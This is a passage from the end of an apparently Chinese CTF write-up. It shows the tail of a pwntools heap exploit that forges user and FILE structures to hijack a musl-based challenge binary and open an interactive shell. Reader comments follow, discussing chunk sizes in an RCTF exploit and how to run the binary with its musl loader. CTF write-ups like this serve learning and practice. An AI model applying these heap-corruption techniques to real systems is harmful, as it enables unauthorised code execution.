'\n') add(1, 0xC, "D" * 0x3 + '\n') clear() add(0, 0x38, "A" * 0x30 + '\n') add(0, 0x38, "E" * 0x30 + '\n') add(1, 0xC, "F" * 0x3 + '\n') fake_user = "" fake_user += p64(0) fake_user += p64(fake_chunk_addr + 0x10) fake_user += p64(0xC) fake_user += p64(1) fake_user = fake_user.ljust(0x37, '\x00') + '\n' add(1, 0x38, fake_user) delete(0) clear() add(0, 0x300, fake_file.ljust(0x200, '\x00') + '\n') # gdb.attach(sh) sh.sendlineafter(": ", '5') sh.interactive() ``` 最后修改:2022 年 10 月 08 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 6 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
11 条评论
tql
我没有发现有什么技巧,因为我其实也不知道每个参数究竟代表什么
只能是碰到通不过的时候修改对应的参数
硬要说技巧,可能就只有对着源码动调了
rctf musl 的exp的第120行附近似乎有问题
delete(9)
add(9, 0x2000, payload + '\n') # 9
delete(8)
add(8, 0, 'a' * 0xF + '\n')
删除idx=9之后,会有两个size=0xc的chunk,这里申请0x2000大小的chunk只使用了一个,接着就又释放2个size=0xc的chunk,所以add(8, 0, 'a' * 0xF + '\n')实际申请的是idx=9的内容chunk和idx=7的控制chunk,因此填充字符应该是0x1f,但是后门申请会出错,所以建议在add(9, 0x2000, payload + '\n') # 9后面再申请一个大的chunk,将idx=9的内容chunk提前使用了
我明白了,你之前申请的就是0x2000,所以没毛病(/ω\)
师傅,能不能把题目的附件,选择性的上传到你的博客和github啊,,,好像复现又找不到题。
另外官方放了题目附件 https://github.com/R0IS/RCTF2021
可以吧,我有空弄一下。不过确实有点担心版权的问题哈哈哈
想请教师傅个问题,就是musl的libc要如何用patchelf给patch掉啊
脚本里面可以 sh = process(["./libc.so", "./r"]) 这样起,运行可以用 ./libc.so ./r 直接起,gdb 调可以先 gdb libc.so 然后设置参数起,上面的是我建议的启动方法。patchelf 的话用 patchelf --set-interpreter ./libc.so ./r 即可,但是用 patchelf 的话程序表现和远程可能不一样,有一些玄学问题,具体我没有研究,总体就是不建议用 patchelf。
另外也可以参照 https://www.anquanke.com/post/id/241101#h3-2 这篇文章安装个符号